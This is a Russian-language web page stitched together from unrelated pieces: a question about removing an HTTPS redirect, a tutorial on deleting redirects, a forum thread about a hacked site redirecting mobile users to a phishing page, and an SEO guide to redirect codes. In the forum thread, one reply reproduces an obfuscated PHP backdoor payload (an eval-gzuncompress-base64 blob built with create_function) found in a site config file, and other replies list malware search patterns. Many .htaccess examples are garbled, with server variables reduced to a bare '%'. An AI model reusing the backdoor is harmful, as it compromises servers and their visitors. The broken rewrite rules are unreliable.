Как убрать редирект с сайта

Как убрать редирект на https протокол

Возможно ли через htaccess убрать редирект на https версию сайта, и сделать что бы он открывался через http? Или это только через хостинг делается?

Отслеживать

задан 27 ноя 2017 в 11:54

NewbieUser NewbieUser

25 9 9 бронзовых знаков

27 ноя 2017 в 11:56

У вас тут нет редиректа на https. Он где-то в другом месте включен. А можеть у вас и сервер не apache.

27 ноя 2017 в 11:57

При переходе по ссылке на мой сайт, браузер ругается на незащищенное соединение, и рядом со ссылкой на сайт указан протокол https, он перечеркнут красным цветом. Только не могу понять откуда взялся https, если я его не подключал. Подумал что стоит редирект с http на https, но видимо проблема в другом 🙁

27 ноя 2017 в 12:57

А не подскажете, где еще может быть включен редирект на https?

Как убрать редирект 301

Редирект — это перенаправление посетителя страницы на другую, на тот случай, если посещаемая страница не работает или в ней находится неподходящая информация. Но иногда от редиректа приходится избавляться. Сейчас расскажу о трех способах сделать это.

Как убрать редирект через панель управления сервера

Описанный ниже метод подойдет тем, кто настроил панель управления ISPmanager и меняет параметры сервера через нее.

• Открываем, собственно, сам ISPmanager.
• Кликаем по меню «Домены» в боковой панели.
• В появившемся списке опций выбираем вариант WWW-домены.
• Выделяем домен, в котором хотим удалить редиректы, кликнув по нему мышью.
• А затем переходим в меню «Редиректы».
• Таким же образом выделяем любое существующее (уже настроенное) перенаправление.
• Следом нажимаем на кнопку «Удалить».
• Подтверждаем свое желание, нажав на кнопку ОК.

Если вы используете новую версию интерфейса ISPmanager, то инструкция для вас немного изменится. На том шаге, где надо зайти в меню «Редиректы», надо будет сначала нажать на кнопку «Скрипты». Это новое меню, в которое спрятали нужный нам пункт настроек. В остальном процесс ничем не отличается.

Пользователям Plesk придется полностью удалить домен, на котором уже настроено перенаправление, и создать новый. К сожалению, эта система иначе делит домены на категории, задавая им тип еще на этапе создания, и не оставляет другого способа убрать переадресацию.

Переадресация в ней задается еще в момент создания нового домена. В меню «Создать», когда выбирается тип хостинга, надо указать «Хостинг веб-сайтов», а не «Перенаправление». Тогда сайт будет функционировать должным образом. Больше ничего делать не нужно.

Но важно учесть, что при удалении домена вместе с ним будут удалены все связанные папки, веб-приложения и файлы.

Комьюнити теперь в Телеграм
Подпишитесь и будьте в курсе последних IT-новостей

Как отключить переадресацию в плагине Redirection для WordPress

Это инструкция для тех, кто делал редирект, как я писал тут . Через плагин Redirection для WordPress.

Чтобы такой удалить:

• Открываем настройки плагина.
• Кликаем по прямоугольнику напротив одного или нескольких редиректов (можно вообще всех, кликнув по пустому прямоугольнику рядом со словом Type).

• Затем ищем кнопку Delete и нажимаем на нее. Возможно, свое намерение придется подтвердить, нажав ОК или Accept.

После этого настроенная ранее переадресация перестанет работать. Но опять же, та, что была создана с помощью плагина.

Как убрать редирект через .htaccess на хостинге TimeWeb

Если вы изначально настраивали перенаправления, отредактировав файл .htaccess, то без труда сможете их там же убрать.

• Для начала открываем панель управления Timeweb.
• Кликаем по меню «Файловый менеджер».
• Находим там конфигурационный файл .htaccess и открываем его.

Затем переходим непосредственно к редактированию кода внутри.

Зачастую в .htaccess переадресация настраивается через директиву RewriteEngine. Поэтому базовый редирект с одного домена на другой будет выглядеть как-то так:

RewriteEngine on RewriteCond % ^(www\.)?old-domain\.ru$ RewriteRule ^(.*)$ http://www.new-domain.ru/$1 [R=301,L]

В случае с 301 редиректом какой-то отдельной страницы, запись в файле с настройками может выглядеть так:

RewriteBase / RewriteCond % !on RewriteCond % !^/Необходимая директория_страница$ RewriteRule ^(.*)$ https://%/$1 [R=301,L] RewriteCond % on [NC] RewriteCond % ^/Необходимая директория_страница$ RewriteRule ^(.*)$ http://%/$1 [R=301,L]

Встречают укороченные варианты записи вроде такой:

Redirect 301 / http://example.com/index.html

Независимо от типа, редирект выключить можно двумя способами.

1. Полностью стереть соответствующий код из .htaccess.
2. Или поставить перед ним значок #. Так мы его закомментируем, и он перестанет работать. Можно будет проверить, как поведет себя сайт, не удаляя переадресацию полностью. Потом можно легко все вернуть как было, удалив комментарии.

На этом все. Теперь вы знаете, как удалять и временно отключать редиректы в .htaccess и в панели управления. Этих трех способов должно хватить.

Как убрать редирект с сайта?

Неделю назад обнаружил, что при входе на сайт с мобильных устройств (смартфон, планшет) происходит редирект на фишинговую страницу newflashplayer.ru и сразу же на мобильное устройство скачивается .apk-файл. Захожу с десктопного браузера — всё в порядке.

Проверил — файл .htaccess в порядке (не изменялся).

Проверил дату изменения js-скриптов — тоже никаких новых или недавно отредактированных…

Подскажите, куда еще посмотреть?

• Вопрос задан более трёх лет назад
• 27044 просмотра

Комментировать
Решения вопроса 1

на сервере одно из клиентов тоже самое было редирект точно тудаже
всё дело было в JS файлах
;document.write(unescape(«%3C%73

Ответ написан более трёх лет назад
Нравится 1 1 комментарий
eafanasov @eafanasov Автор вопроса
да, так и есть.
Ответы на вопрос 10
Поставь себе User agent какой-нибудь мобилки и смотри исходный код страницы.
Ответ написан более трёх лет назад
Комментировать
Нравится 2 Комментировать
Hungry_Hunter @Hungry_Hunter

Помимо файла htaccess следует произвести поиск в php файлах по следующим вхождениям:
— eval
— base64_decode
— Location
— по адресу редиректа

В js файлах так же следует проверить наличие редиректа. Дата редактирования файла не обязательно должна отличаться от остальных, т.к. изменить ее после редактирования не составляет труда.

А вообще лучше обратиться к специалисту для удаления вредоносного кода и поиска вебшелов на вашем сервере.

Ответ написан более трёх лет назад
Комментировать
Нравится 2 Комментировать

Вёбных дел мастер

Крайне рекомендую зайти на сайт из поисковиков. Не важно, из какого браузера. Тоже может оказаться, что идет редирект. И скорее всего окажется, что их генерит уже сам движок без JS-ов.

Ответ написан более трёх лет назад
Комментировать
Нравится 2 Комментировать
Stalker_RED @Stalker_RED
А в самой странице нет яваскриптовых вставок? Да и дату изменения файла можно изменить.
Ответ написан более трёх лет назад
Комментировать
Нравится 1 Комментировать

Спросил у автора в личке адрес сайта, посмотрел. Там действительно в конце javascript файлов (всех) есть строка которая начинается с:
document.write(unescape(
все эти строки надо убрать, а директорию где они лежат — закрыть на запись от имени юзера под которым работает веб-сервер. Если папка создавалась по ФТП — обычно достаточно выставить права 775.
(а дата изменения файла легко подделывается, поэтому вы и не стали туда смотреть — а зря)

И скорее всего у вас залит веб-шелл, его тоже можно поискать — скачиваете себе копию сайта и ищете в РНР файлах следующее:
eval(
/.*/e
passthru
(эти строки могут и в обычных файлах встречаться)

Но не факт что найдете все шеллы так, поэтому для надежности желательно удалить все файлы, кроме картинок, и заново установить последнюю версию Джумлы (и всех плагинов которые у вас стоят).
И правильно проставить права на папки — в тех папках, в которые может писать вебсервер, надо запретить исполнение PHP файлов:
php_flag engine 0
в файлике .htaccess в этих директориях.

Ответ написан более трёх лет назад
Нравится 1 2 комментария

пора уже выдумывать тулзу для поиска ШЕЛЛов.

раньше было просто WSO в поиск вбил и хорошо, а щас шифруют всё глубже и глубже но да основнйо признак
eval(
да preg_match(/.*/e,»»

Может вы все-таки preg_replace имели в виду? А вообще можно оставлять бэкдоры с create_function, array_map, call_user_func, etc и делать это так, что регулярками не отгрепаешь.

думаю у вас ДЛЕ, встречал такое… проверьте файлы сайта на наличие перенаправлений.
Если ДЛЕ — ищите в index.php, engine/data.config.php что-то c «Location:» — найдете — будет заметно, что оно чужее.
редирект может быть в заголовке страницы — php отдает header с указанием на перенаправление

Ответ написан более трёх лет назад
Комментировать
Нравится Комментировать

Николай Сумрак @NikolasSumrak
Senior PHP Developer

Проследите, на какую страницу изначально идет редирект, а затем сделайте поиск по всем файлам проекта с этим url-ом.

Ответ написан более трёх лет назад

Поиск не поможет, если было внедрение в js файлы, так как зачастую этот код закодирован как минимум в base64.

vinograd19 @vinograd19
meta тэги посмотрите
Ответ написан более трёх лет назад
Комментировать
Нравится Комментировать

Есть такой вариант.
Т.к. идёт редирект для мобильных платформ, то с большой долей вероятности в коде появится название платформы. Мне в аналогичной ситуации помог

grep "android" -r ./ 

Ну конечно, если у вас не сайт про android 🙂

Ответ написан более трёх лет назад
Комментировать
Нравится Комментировать

а файде data/config.php создается постоянно такая запись. Кто знает что это?

$liciens = "@Ev"."aL(gZu"."ncOmp"."rEss(bAs"."e64"."_Dec"."odE('eF6VVftv2zYQ/lccwDAl2JZj+R1DaNbC2IIN7ZYmG4Y2EyjpLLGWRJWPuO6Y/31HyY2TxnCxH3R8fXe87x5iW3Kx0zIgYUhaHtHSShD1glmRhJwsneFiNu5b0R3PpvO+Fe6rWIs8LHSuWCghh1g5bbHutcM37979erVyLwoVClomtXJvvDj33SVbO0xKQOQe9aHdOHDnuv9e4kHM+YaBs9/tvYB1hz3FCnDc7nw698c9MiDu8gHNOpcvsEFA5sPJ2J/MFsTl4hRifv5DxPCHCJ8cJ0HO/eHMn458f0wO3i9Gw8b7thYsQLvvV9d/rq4/kOvVH7er9zfh7fUVuVtiSJ8cSiUE3Ds4KK6rCoRDBAhYY8YqpTJ04M7GGM8rLh2ikyxJdSryDV1vPkOiN5L0CIvh01fingXBmuYSXESXMZUQF9VjXnqPGci4/LZwl5d2GZxyR0meHXxxxnN/0reiO8Z89a3AwuHVzmkMvygWfzad9KwCBgaJnebOhA6VBP0ZRH1dBjTB/T2SjF6x1NZw7KmmrpWVg4oWYCeKyYHc1ADI6mEQx3b0ZGUHWvQfcbXiRbOP5FoXpZ1xpmityH8jLo4dCVzUN60DHATdYotAGfMEbG9YSEUFXq9ABB/bG9htuUhQCxcSOloEQ1Q7QjR4muUOcv3OOMmUqi4G1k0bV5QId92ls5hM+/h1h6OR37di37ZYpbxSIRWCYioQ3GtrmR7SgDq9Efasu4QvTNmacsb+cPiPFW6n02IFTcHmsQCRIjms4UPJIFOXRvJJMaFP2Kb2itMJVSWkNBQg9aGG/n8HtKEo8jVlfM01BARbgNQMzg5N9svNze/hLa7Cn35evb0hd7a5Txxjl9f9f1YJSMOCqjhzyCCiLNGGUYxjnBnO0xwMSwtqXnNlMIzwxUQ4qxhWpVnlil6Vxobf0IxzQ4sI8X+N3oTmb/pa8K3BnNqdFJQpKMu9ASNNXvDHggSe3V2b99B2icVkGk9qJWEk1P7IgvlG8pRrIzMo0S1WSkVTs7PXe6aQpRcbrXQEhicl3+Dci3YNg9o5YbZMWfN84wlt7jdezI3OeWrWNIYIbdScPZPoeGM/U9J7hFOeo2URxZ6JWJk2PGxVWBbPaVRehMwlKpWJ4CwxBUsqsysiRkuTqTjEjZIZiTtcGh4xDNAnvwADgoH82JqemyrjJRxCZcv37LtXhiQ5hBpvCVmCuT6KObxE9ekzLwOaJCVspaEJuuNVWWWC3EZWmWANkEQUuePGtzPUZdIGrsbjVFDFeNk4KVhzhZ21zoKWfQWOPxz752tGjj16Dw//AYlYkeQ=')));";$release_this = "cre"."ate_"."function";if (@function_exists($release_this)) //$dle_lik = "@Ev"."AL(gZu"."nCOmp"."rEss(bAS"."e64"."_Dec"."odE('eF6dVG1v2zgM/ispEFQ21jlp0y5tA2O9DcGuuMO668uGYSsM2WZsXWzRJ8nNirH//Si7Q9qty4B9sGhJD18ekuLQ1qpSFmORiEEkktavFky3UX7NExQztQiUteCCYfL67Oyv0/mn4b3idRh+PeGbDHGpIPh2vPMj8NnujlM1BOGzw4Ojg+mOGIlwdseWg5MfwXEsjvb2p+PJ9EiEaDZCDse/huz+GrInfkJFjCfj/enB0f50ItYUDqcHPYWhWcRs+GJ+/n5+/sk6Y+AmYOGwbRowgTBgYAEmaZwr2cf1bNga9UBFnM//uZpfXCZX56eCbxm92aAybeIstP9xnby9k2GJNt6k4SyWa/8lyJxP73Fi8lIVWdTUzpd7ZFXpRv5vmUGZdUdZFnlZGPTi+WTVnY6ObdOpuHJwrLFrFic7DfxbhCy2LWDXSUyIhZGr1lSgM8w5u2bRQRppZA0OTPx5uITbFZqc1XhjYbs18S7rPcEnfpjTbSb1nXVROtccjzwPnxteGR6GM/ii3Ozudypmi80qTkMhEwO2XWv53t5al/nPy8t3yRXvkj/ezN9eimvfkhuuuTW7rt1qDBRJLV1WBmKUSpW3lDFXkiUiqaKW9AodNYqLSrJOK6CP8pXBFXFOePNh8jqheeXkqaYPBTiSOocvpGQiTVYSYsGglC3UUlXRSIkdTzfk18AEHvnuFKMeZ0hp62TBfjWXj/q4WtemwGuU3vaRYa5xSW2FBS1kBilGhMvItHSzjDLsnUeUt9nSf2SxwJZsCZp1tbzxjLCKsp6XoZVy3pmFLvRbnwGOx2pG8HPdI5NmEaVKFz0PbrKOxWMaTZRydnjKEaaKuf+7VwPd1qmSmixLtKRzgyqnWuUNgVFgPw9ejKl0WcJnWlFTooZ1qjgxwdZ3E1LkFSQte0lUzrV+EvNginbXj8KMZZ5rWFni5CkdNWVDMq/v//gFFMr6XMQLgDyVnLy48tlzPYovjXQKdR+lUb0L/zfYigd+dP1k3N0P3ql4al7f3f0P9ywaOQ==')));";$lic_true = "cre"."ate_"."function";if(@function_exists($lic_true)) //System Configurations

Ответ написан более года назад
Комментировать
Нравится Комментировать
Ваш ответ на вопрос

Войдите, чтобы написать ответ

• Android

Как прочитать файлы с USB флешки на android приставке?

• 1 подписчик
• 22 часа назад
• 21 просмотр

Руководство по редиректам: как их обнаружить и настроить

Редирект в умелых руках специалиста может быть эффективным инструментом улучшения позиций сайта в выдаче поисковых систем. При этом владельцы интернет-ресурсов зачастую не понимают, как их использовать, а главное — зачем они нужны. Неправильно настроенный ответ сервера входит в топ-10 самых распространённых ошибок на продвигаемых сайтах.

Я подготовил подробное руководство по редиректам, в котором расскажу о том, как их настраивать, находить и корректировать.

1. Что такое редиректы
   1. Когда используют редиректы
   2. Как это работает
   1. 301 Moved Permanently
   2. 302 Found, 302 Moved Temporarily
   3. 307 Moved Temporarily

   1. Что такое редиректы

   Редирект — это автоматическая переадресация пользователя на URL, который отличается от запрошенного им изначально. Если редирект настроен корректно и не противоречит правилам поисковых систем, то для пользователя, как правило, сам процесс перенаправления остаётся незамеченным.

   Самый простой пример редиректа: пользователь вводит один адрес интернет-магазина в адресной строке, а в итоге попадает на другой, более актуальный ресурс этой компании. Страница, с которой перенаправили пользователя, в этом случае называется донор (от лат. dono — «дарю»). Страница, на которую его направили — акцептор (лат. accipio — «я принимаю, получаю»).

   1.1. Когда используют редиректы

   Основная задача редиректов — не потерять трафик и позиции, если одну страницу нужно заменить на другую. Например, после ребрендинга сайта либо для исключения дублей страниц, которые плохо влияют на ранжирование сайтов.

   Примеры использования редиректов:

   • Изменение адреса сайта или страницы;
   • Удаление категории или раздела сайта;
   • Перенаправление пользователей на мобильную версию сайта;
   • Перенаправление с http на https;
   • Склейка или замена доменного имени;
   • Изменение CMS;
   • Удаление дублей страниц, когда проблему нельзя решить иным методом.

   В этом посте я намеренно не рассматриваю использование редиректов в серых методах поисковой оптимизации, которые считаются поисковиками некорректными и жёстко ими пресекаются.

   1.2. Как это работает

   Пользователь набирает нужный адрес, запрос или переходит по ссылке. Сервер обрабатывает запрос пользователя, сталкивается с настройкой редиректа и следует ей. Пользователь получает соответствующий HTTP-код либо инструкцию другого типа и оказывается на прописанном в ней адресе. Обычно такой переход занимает доли секунд и остаётся незаметным для пользователя.

   2. Типы и настройка редиректов

   Типы редиректов принято разделять по тому, как они реализованы. Самый популярный у SEO-специалистов метод — серверный редирект, который настраивается в файле .htaccess (конфигурационный файл наиболее распространённого сервера Apache). Кроме того, для реализации перенаправлений можно использовать файл nginx.config, а также PHP, HTML, JavaScript.

   Редиректы могут иметь разный HTTP-статус. По коду состояния HTTP поисковые системы и браузеры определяют, к какому виду относится редирект. Всего есть 9 видов таких редиректов, но на практике используются три статус-кода.

   2.1. 301 Moved Permanently

   301 редирект — это постоянный редирект, который демонстрирует, что документ перенесён на новый URL-адрес. 301 редирект лучший вариант для оптимизации сайта под поисковые системы. Он позволяет заменить адрес документа в выдаче со старого на новый без потери позиций и трафика.

   Я собрал общие случаи использования 301 редиректа.

   2.1.1. Редиректы www

   Вот как настроить редирект из домена с www на домен без www:

   RewriteCond % ^www\.bacon\.com$ [NC] RewriteRule ^(.*)$ http://bacon.com/$1 [R=301,L]

   А вот так можно настроить редирект URL без www в URL с www:

   RewriteCond % ^bacon\.com$ [NC] RewriteRule ^(.*)$ http://www.bacon.com/$1 [R=301,L]

   2.1.2. Изменение расширения файла

   Если вы перешли на другую платформу или CMS, и в этом процессе были изменены только URL-адреса, вы должны использовать следующую переадресацию.

   RedirectMatch 301 (.*)\.php$ http://www.bacon.com$1.html

   2.1.3. Редирект с разных доменов и поддоменов

   Если вы купили несколько доменов в разных доменных зонах или перепроектировали новый сайт в поддомене, вы должны установить редирект со всех дополнительных доменов или поддоменов на основной домен:

   RewriteCond%!^www\.site\.com.(.*)$ [NC] RewriteRule ^(.*)$ http://www.site.com. %1/$1 [R=301,L]

   2.1.4. Слеши в конце URL-адреса

   Вы должны помнить, что поисковые системы рассматривают URL-адреса с и без слеша (https://www.bacon.com/sandwich/ и https://www.bacon.com/sandwich) как два разных URL-адреса. Определите, какой из них более подходит для вашего сайта, и настройте следующие переадресации.

   Чтобы удалить слеш в конце URL-адреса:

   RewriteEngine On RewriteCond % !-d RewriteRule ^(.*)/$ /$1 [L,R=301]

   Чтобы добавить слеш в конце URL-адреса:

   RewriteCond % !-f RewriteRule ^(.*[^/])$ /$1/ [L,R=301]

   2.1.5. Переключение с HTTP на HTTPS

   Вам необходимо установить команду для 301 редиректа на HTTPS-версию сайта. Если у вас есть WordPress CMS с управлением хостингом cPanel, вы можете прочитать подробное руководство по переходу на HTTPS.

   2.1.6. Управление битыми ссылками

   Если вы навсегда удалили одну из своих страниц и создали новую, установите 301 редирект на главную или новую страницу и удалите все ссылки на эту страницу на своём сайте.

   RewriteRule ^old/URL/path$ http://site.com/new/path [L,R=301]

   2.2. 302 Found, 302 Moved Temporarily

   302 редирект демонстрирует, что запрошенный ресурс временно перемещён. Данный вид редиректа может быть использован для страниц с краткосрочными акциями и распродажами конкретного товара. Не рекомендую использовать его для адресов, изменённых навсегда. Роботы поисковых систем индексируют только ту страницу, на которую установлен редирект, но в выдаче останется старый URL. Однако, если робот поисковой системы решит, что вы по ошибке настроили 302 редирект вместо 301, он заменит адрес в выдаче, как и в случае с 301 редиректом. И вернуть его обратно будет проблематично.

   Вы можете прописать такую директиву в файле .htaccess, чтобы установить редирект:

   Redirect 302 /old.html http://localhost/new.html

   2.3. 307 Moved Temporarily

   Временный редирект, который указывает, что документ временно доступен по другому URL. Отличие от 302: сохранение метода передачи запроса (GET, POST), который указывает поисковикам, что кешировать документ не стоит (если нет дополнительных указаний).

   Вы можете установить 307 Moved Temporarily, когда контент перемещается только временно (например, при перепроектировании). Это позволяет поисковикам понять, что ваш сервер совместим с HTTP 1.1.

   Кроме того, клиенты не должны автоматически переадресовывать запросы POST / PUT / DELETE. Кэширование должно выполняться только в том случае, если в ответе сервера есть заголовки Cache-Control или Expires.

   3. Как обнаружить редиректы

   Самый простой способ, который подходит вебмастерам и SEO-специалистам — получение статус-кодов всех страниц сайта. Сделать такую проверку массово можно с помощью клиентского и браузерного ПО для аудита сайта.

   Проверить, верно ли выставлены редиректы, и выявить связанные с переадресацией ошибки можно с помощью Netpeak Spider. Для этого выполните следующие действия:

   • Запустите Netpeak Spider.
   • На боковой панели откройте вкладку «Параметры» и отметьте пункт «Код ответа сервера».

   

   

   Если вам нужен список всех существующих на сайте редиректов, перейдите на вкладку «Отчёты» → «Сводка» и кликните по названию соответствующего типа страниц.

   

   

   В программе также доступен отчёт, показывающий страницы, которые содержат ссылки на страницы с редиректом и конечным URL редиректа. Для выгрузки отчёта перейдите в меню «Экспорт» → «Специальные отчёты по ошибкам» → «Редиректы: входящие ссылки и конечные URL».

   

   Смотрите нашу короткую видеоинструкцию о том, как проверить настройку редиректов на сайте:

   Хотите быстро проверять редиректы с помощью Netpeak Spider и выгружать детальные отчёты? Эти и другие фичи (анализ 80+ SEO-параметров, встроенные инструменты, интеграции с сервисами аналитики, парсинг и многое другое) доступны в нашем тарифе Starter → если вы ещё не зарегистрированы у нас на сайте, то после регистрации у вас будет возможность сразу же потестировать платные функции.

   Ознакомьтесь с тарифами, оформляйте доступ к понравившемуся, и вперёд получать крутые инсайты!

   4. 12 советов, которые помогут избежать ошибок при простановке редиректов

   1. Не используйте иные статус-коды ответа сервера там, где нужен 301 редирект. Это правило касается и настройки https, и зеркал сайта с www и прочего. Часто встречающаяся ошибка — настройка 302 (временного) редиректа, вместо 301. Роботы поисковых систем получают инструкцию, что страницы перемещены временно, хотя это не так. В дальнейшем поисковик может посчитать это обманом и пессимизировать ресурс.

   Донор не передаст вес нерелевантному акцептору с некорректным статус-кодом. Правильная настройка позволит поисковым системам быстро склеить страницы без потери трафика для ресурса.

   В ряде случаев борьбы с дубликатами логичнее использовать rel=canonical. Например:

   • на страницах пагинации, если CMS сайта не позволяет убрать текст основной страницы;
   • для страниц, которым необходимо иметь разные версии: основная, для печати, отдельная мобильная;
   • страницы с динамическими параметрами;
   • когда одна страница опубликована в разных категориях, в результате чего получаются разные URL.

   Это увеличивает нагрузку на сервер, замедляет процесс использования сайта и может привести к потере веса конечной страницы.

   • Сначала редирект с site.com/cat-1/subcat-1/ на site.com/cat-1/subcat-2/;
   • Потом с site.com/cat-0/ на site.com/cat-0.
   • И в последнюю очередь — глобальные правила (например, со страниц без слеша на слеш, или с www на без www).

   Это поможет уменьшить количество потенциальных ошибок при обработке статус-кодов страниц.

   Правильная настройка статус-кодов поможет роботам поисковых систем быстрее индексировать и переиндексировать страницы сайта, не добавляя в выдачу ненужные страницы.

   Здесь всё понятно. Это относится к серым методам оптимизации и пресекается поисковыми системами как спам.

   В этом случае будет логично использовать rel=canonical.

   Читайте также «Что такое robots.txt, и зачем он нужен сайту».

   Подводим итоги

   Перед тем как начать работу с редиректами, советую внимательно изучить рекомендации Google на эту тему. Чего точно не рекомендую делать, так это манипулировать отношением поисковых систем к вашему сайту с помощью редиректов.

   Мы рассмотрели три самых часто используемых редиректа:

   • 301 Moved Permanently — редирект на постоянной основе, который указывает, что документ перенесён на другой адрес навсегда. Редирект «склеивает» старый и новый адреса, а также перенаправляет ссылочный вес и трафик на новый ресурс.
   • 302 Found, 302 Moved Temporarily — временный редирект, который применяется, когда нужно установить перенаправление на определённый период и при этом не удалять предыдущую версию страницы из индекса.
   • 307 Moved Temporarily — используются для временного перемещения. Отличие от 302: сохранение метода передачи запроса (GET, POST), который указывает поисковикам, что кешировать документ не надо (если нет дополнительных указаний).

   Каждый вид редиректа необходимо использовать для решения конкретной задачи, для которой он был создан. Контроль, знания и вспомогательные сервисы помогут редиректам на вашем ресурсе стать тем, чем они и являются — полезным и эффективным инструментом оптимизации сайта.

   Поделитесь в комментариях вашим опытом по настройке редиректов 😉

   Похожие публикации:

   1. Как починить дабл клик на клавиатуре
   2. Как превратить строку в число python
   3. Как привязать button к input
   4. Как сложить элементы массива js